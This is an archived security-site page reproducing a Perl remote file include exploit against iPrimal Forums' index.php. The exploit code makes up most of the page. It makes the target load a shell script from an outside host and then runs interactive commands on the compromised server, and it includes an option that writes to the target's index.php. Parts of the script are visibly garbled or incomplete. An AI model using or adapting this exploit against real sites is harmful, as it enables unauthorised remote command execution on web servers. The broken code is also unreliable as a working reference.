Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web BBS :: etc :: b06-5926.htm

iPrimal Forums (index.php) Remote File Include Exploit



iPrimal Forums (index.php) Remote File Include Exploit
iPrimal Forums (index.php) Remote File Include Exploit



#!/usr/bin/perl
# """""""""""""""""""""""""""""""""""""""""""""""
# """  ::     ::                :::::   ::::  """
# """   ::   ::                 ::  :   ::    """
# """     ::::    ::   :: ::::: :::::   ::::  """
# """    ::  ::   ::: ::: :: :: ::  ::    ::  """
# """  ::      :: :: :  : ::::: ::   :: ::::  """
# """                                         """
# """""""""""""""""""""""""""""""""""""""""""""""
#        Xmor$ DigitaL Hacking TeaM
# iPrimal Forums (index.php) Remote File Include  Exploit
# Expl0iter by .... : the_Edit0r=09
# Location .......... : Iran
# Class..............  : Remote
# Original Advisory : http://Www.Xmors.com ( Pablic ) http://Www.Xmors.net (pirv8) 
# We ArE : Scorpiunix , KAMY4r , Sh3ll , SilliCONIC , Zer0.C0d3r 
#     D3vil_B0y_ir , Tornado , DarkAngel , Behbood
# ;

while ($cmd !~ "exit")
{
    $xpl = LWP::UserAgent->new() or die;
        $req HTTP::Request->new(GET=>$target.$file.$shellsite.'?&'.$shellcmd.'='.$cmd)
or die("\n\n Failed to connect.");
        $res = $xpl->request($req);
        $r = $res->content;
        $r =~ tr/[\n]/[ê]/;

    if (@ARGV[4] eq "-r")
    {
        print $r;
    }
    elsif (@ARGV[5] eq "-p")
    {
    # if not working change cmd variable to null and apply patch manually.
    $cmd = "echo if(basename(__FILE__) == basename(\$_SERVER['PHP_SELF'])) die(); >> index.php";
    print q
    {
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!                                Patch Applied                              !!
!! Code added to index.php:                                                  !!
!! if(basename(__FILE__) == basename($_SERVER['PHP_SELF']))                  !!
!!    die();                                                                 !!
!!                                                                           !!
!! NOTE: Adding patch function has not been tested. If does not complie or   !!
!! there is an error, simply make cmd = null and add the patch code to       !!
!! index.php                                                                 !!
!!                                                                           !!
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    }
    }
    else
    {
    print "[cmd]\$";
    $cmd = ;
    }
}

sub header()
{
    print q
    {
................................................................
..                                                            ..
..  iPrimal Forums (index.php) Remote File Include  Exploit   ..
..                                                            ..
................................................................
..                                                            ..
..              Xmors NetWork Security TeaM                   ..
..                Code by : the_Edit0r                        ..
..                                                            ..
................................................................
..                                                            ..
.. Www.Xmors.coM (Pablic) .. 
.. Www.Xmors.neT ( Pirv8) .. 
................................................................

                      <-r> <-p> 
 - Path to target eg: www.SiteName.com 
 - Path to shell eg: www.Sh3llserver.com/sh3ll.txt 
 - Shell command variable name eg: cmd                 
 - Show output from shell                                        

- index.php Example perl Expl0it.pl http://SiteName http://Sh3llserver/sh3ll.txt cmd -r -p }; exit(); }


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH